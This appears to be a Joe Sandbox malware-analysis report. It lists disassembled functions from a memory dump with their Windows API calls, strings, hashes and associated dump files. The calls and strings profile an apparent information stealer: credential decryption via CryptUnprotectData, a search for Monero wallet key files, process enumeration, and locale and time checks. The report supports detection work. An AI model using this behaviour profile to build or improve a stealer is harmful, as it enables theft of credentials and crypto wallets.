Opcode ID: d3e7f3fc3b20e2eac8c0d4420e6767957013d92e61efdb9e5d3a35ee049f9e99
Instruction ID: 64baf465ba31d846a4b7aa91f9796b483608312ec28b5c2d419c8b71e84d8ac0
Opcode Fuzzy Hash: d3e7f3fc3b20e2eac8c0d4420e6767957013d92e61efdb9e5d3a35ee049f9e99
Instruction Fuzzy Hash: B49150B6900104ABDB54FBB0EC569ED737FAF85300F41866CF80A96181EE34DB498BD6

Function 00647B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

GetKeyboardLayoutList.USER32(00000000,00000000,006505AF), ref: 00647BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00647BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00647C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00647C62
LocalFree.KERNEL32(00000000), ref: 00647D22

Strings

/ , xrefs: 00647C7F

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 52e677dec0942ff00b33d799cf648fe161413f24ea9b4356baa50397b49897f2
Instruction ID: c6fac26da4827f325565db59b41f13778d7bb644987ee34c2717251307e94d86
Opcode Fuzzy Hash: 52e677dec0942ff00b33d799cf648fe161413f24ea9b4356baa50397b49897f2
Instruction Fuzzy Hash: 24416B71940218AFDB64DB94DC89BEEB37AFF44700F204199E40962281DB346F85CFA5

Function 0063E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00650D73), ref: 0063E4A2
StrCmpCA.SHLWAPI(?,006514F8), ref: 0063E4F2
StrCmpCA.SHLWAPI(?,006514FC), ref: 0063E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0063EBDF

Strings

\*.*, xrefs: 0063E44D

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 462a78a8aac7789b37e5cddb55c36cb7af2e1c5f2b033d6de6e9962c5a3fbf4e
Instruction ID: d434bf8d5feeba569d66d28cd5fc26331f2af0354aac6ad883c4a3c406f18254
Opcode Fuzzy Hash: 462a78a8aac7789b37e5cddb55c36cb7af2e1c5f2b033d6de6e9962c5a3fbf4e
Instruction Fuzzy Hash: 47126671950118BBEB58FBA0DC96EED733AAF54300F41459CB50A56091EF30AF49CFA6

Function 00A06A7F Relevance: 9.1, Strings: 6, Instructions: 1644COMMON

Download Yara Rule

Strings

}nw, xrefs: 00A074BF
c&;{, xrefs: 00A07E2D
&66, xrefs: 00A06AFB
^Z}u, xrefs: 00A071CD
1*u=, xrefs: 00A079A1
:M', xrefs: 00A077DD

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &66$1*u=$:M'$^Z}u$c&;{$}nw
API String ID: 0-175420206
Opcode ID: 18ca08cfb5a006d9e968fb08847b848939d075774de9970ca3ff16378cd28469
Instruction ID: a1a63f26c158804065d63292a8a7b301f83e3555cb9832fba8b15ca1a2805110
Opcode Fuzzy Hash: 18ca08cfb5a006d9e968fb08847b848939d075774de9970ca3ff16378cd28469
Instruction Fuzzy Hash: 77B217F3A0C2049FE304AE2DEC8577ABBE9EF94320F16493DE6C5C7744EA3558058696

Function 00639AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00634EEE,00000000,?), ref: 00639B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639B2A
LocalFree.KERNEL32(?,?,?,?,00634EEE,00000000,?), ref: 00639B3F

Strings

Nc, xrefs: 00639AD4, 00639AE1, 00639AF9, 00639B18, 00639AE4, 00639B1B

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Nc
API String ID: 4291131564-1584449269
Opcode ID: ba69f8a60e6cace0ceacd91667e9918e0f5f0dd38a4bfb01ededb5fa382b524b
Instruction ID: 3157fdd68158a3d448c90e6b245e0e94d905042ff28b3c48d42719e1ef038e43
Opcode Fuzzy Hash: ba69f8a60e6cace0ceacd91667e9918e0f5f0dd38a4bfb01ededb5fa382b524b
Instruction Fuzzy Hash: 9311A4B4240208EFEB14CF64DC95FAAB7B5FB89700F208058F9199B394C7B5A941CF91

Function 00A033E8 Relevance: 7.9, Strings: 5, Instructions: 1645COMMON

Download Yara Rule

Strings

Lr;, xrefs: 00A03D6C
Qpxo, xrefs: 00A03F2A
j<?, xrefs: 00A041EC
&~s_, xrefs: 00A0376B
9}>, xrefs: 00A03DBA

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &~s_$Lr;$Qpxo$j<?$9}>
API String ID: 0-1819094296
Opcode ID: 327861af2dc46d414808862f827a86bc41520d6ff083247159adb71312c3fe81
Instruction ID: d46c7d38ce323c8bbda585d040dc995abd49e2d0882b62995a4c16c837ba1374
Opcode Fuzzy Hash: 327861af2dc46d414808862f827a86bc41520d6ff083247159adb71312c3fe81
Instruction Fuzzy Hash: DAB2F6F3A082009FE704AE2DDC8567AB7E5EFD4720F1A893DE6C5C3744EA3598058697

Function 00A085CE Relevance: 7.9, Strings: 5, Instructions: 1611COMMON

Download Yara Rule

Strings

0o[w, xrefs: 00A08794
oaCY, xrefs: 00A0938B
#G~m, xrefs: 00A09278
&+u, xrefs: 00A08B46
n}o, xrefs: 00A09912

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #G~m$&+u$0o[w$oaCY$n}o
API String ID: 0-1092153006
Opcode ID: 87405ff7ee1de03c1a11d19841fc24594f0c063eb76f6ce73e2877baf768d745
Instruction ID: c8d423d7c3461b74e2b5861214120b5d5e9528b4fd3b8ecb31636335b90bfe70
Opcode Fuzzy Hash: 87405ff7ee1de03c1a11d19841fc24594f0c063eb76f6ce73e2877baf768d745
Instruction Fuzzy Hash: E7B207F3A0C210AFE7046E29EC8577ABBE9EF94720F16493DE6C5C3744EA3558018697

Function 0063C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0063C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0063C87C
lstrcat.KERNEL32(?,00650B46), ref: 0063C943
lstrcat.KERNEL32(?,00650B47), ref: 0063C957
lstrcat.KERNEL32(?,00650B4E), ref: 0063C978

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 700cb4026d0701a141e2d8bf551608c971b26161a31d5a780e9f8c2cc947c812
Instruction ID: 8afab21226455b1e694f91a4c2deae27406b1f8da7adb26340c4ea3921316d9d
Opcode Fuzzy Hash: 700cb4026d0701a141e2d8bf551608c971b26161a31d5a780e9f8c2cc947c812
Instruction Fuzzy Hash: 0E4182B4904219DFDB14DF90DD89BFEB7B9BB88304F1041A8F509A62C0D7709A84CF92

Function 00646920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0064696C
sscanf.NTDLL ref: 00646999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006469B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006469C0
ExitProcess.KERNEL32 ref: 006469DA

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: de94cf19006c772814c6fed2210ccda0f2a68becb0d71e9d868948d45d5d66b2
Instruction ID: 557bf820ad14af61b14b0bac5951980b0b781175f48fa09a49cb79d8232a4e9c
Opcode Fuzzy Hash: de94cf19006c772814c6fed2210ccda0f2a68becb0d71e9d868948d45d5d66b2
Instruction Fuzzy Hash: 6121ED75D14209ABCF08EFE4D9499EEB7B6FF48300F04452EE41AE3254EB349645CB6A

Function 00637240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0063724D
RtlAllocateHeap.NTDLL(00000000), ref: 00637254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00637281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 006372A4
LocalFree.KERNEL32(?), ref: 006372AE

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 49c61c94cd79aa7e41bb06e2ae0b366a12b621e7c76261fe4ba40ef715ba5ccb
Instruction ID: 66b6d5e323524a4f93c7cd0e88a4c918bc56f89f6c35ba07b4de1a125839f571
Opcode Fuzzy Hash: 49c61c94cd79aa7e41bb06e2ae0b366a12b621e7c76261fe4ba40ef715ba5ccb
Instruction Fuzzy Hash: C80100B5A40208BBEB14DFD4CD4AF9E7779FB44701F104154FB09AA2C4D670EA418BA6

Function 00649600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0064961E
Process32First.KERNEL32(00650ACA,00000128), ref: 00649632
Process32Next.KERNEL32(00650ACA,00000128), ref: 00649647
StrCmpCA.SHLWAPI(?,00000000), ref: 0064965C
CloseHandle.KERNEL32(00650ACA), ref: 0064967A

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e07aa44e97b800944ed40e60ee71ec6d9eedf04b42c65a34f141a294026bd841
Instruction ID: 4df541b73a15f37f1f3779838a16eb0789957be3c16de2d9801ea45409201875
Opcode Fuzzy Hash: e07aa44e97b800944ed40e60ee71ec6d9eedf04b42c65a34f141a294026bd841
Instruction Fuzzy Hash: 3E011E75A40208EBDB18DFA5CD48BEEB7F9FB48741F104198A909A7240D734DB80DF61

Function 009FFD8E Relevance: 6.6, Strings: 4, Instructions: 1642COMMON

Download Yara Rule

Strings

[-c, xrefs: 00A00626
m$n], xrefs: 00A005D2
_-wS, xrefs: 009FFFE0
/~/, xrefs: 00A004FA

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /~/$[-c$_-wS$m$n]
API String ID: 0-1439815905
Opcode ID: aa97af20099f9e7096e208a29a4f8070b02da814db4469751557e12b14fb2dd9
Instruction ID: b67cab80ad0e986cda199b398d554f9d7a318dcb0ab9636874ad2c1fa56c299e
Opcode Fuzzy Hash: aa97af20099f9e7096e208a29a4f8070b02da814db4469751557e12b14fb2dd9
Instruction Fuzzy Hash: 81B2D6F360C2009FE304AE29EC8567AFBE9EF94720F1A893DE6C4C7744E67558418697

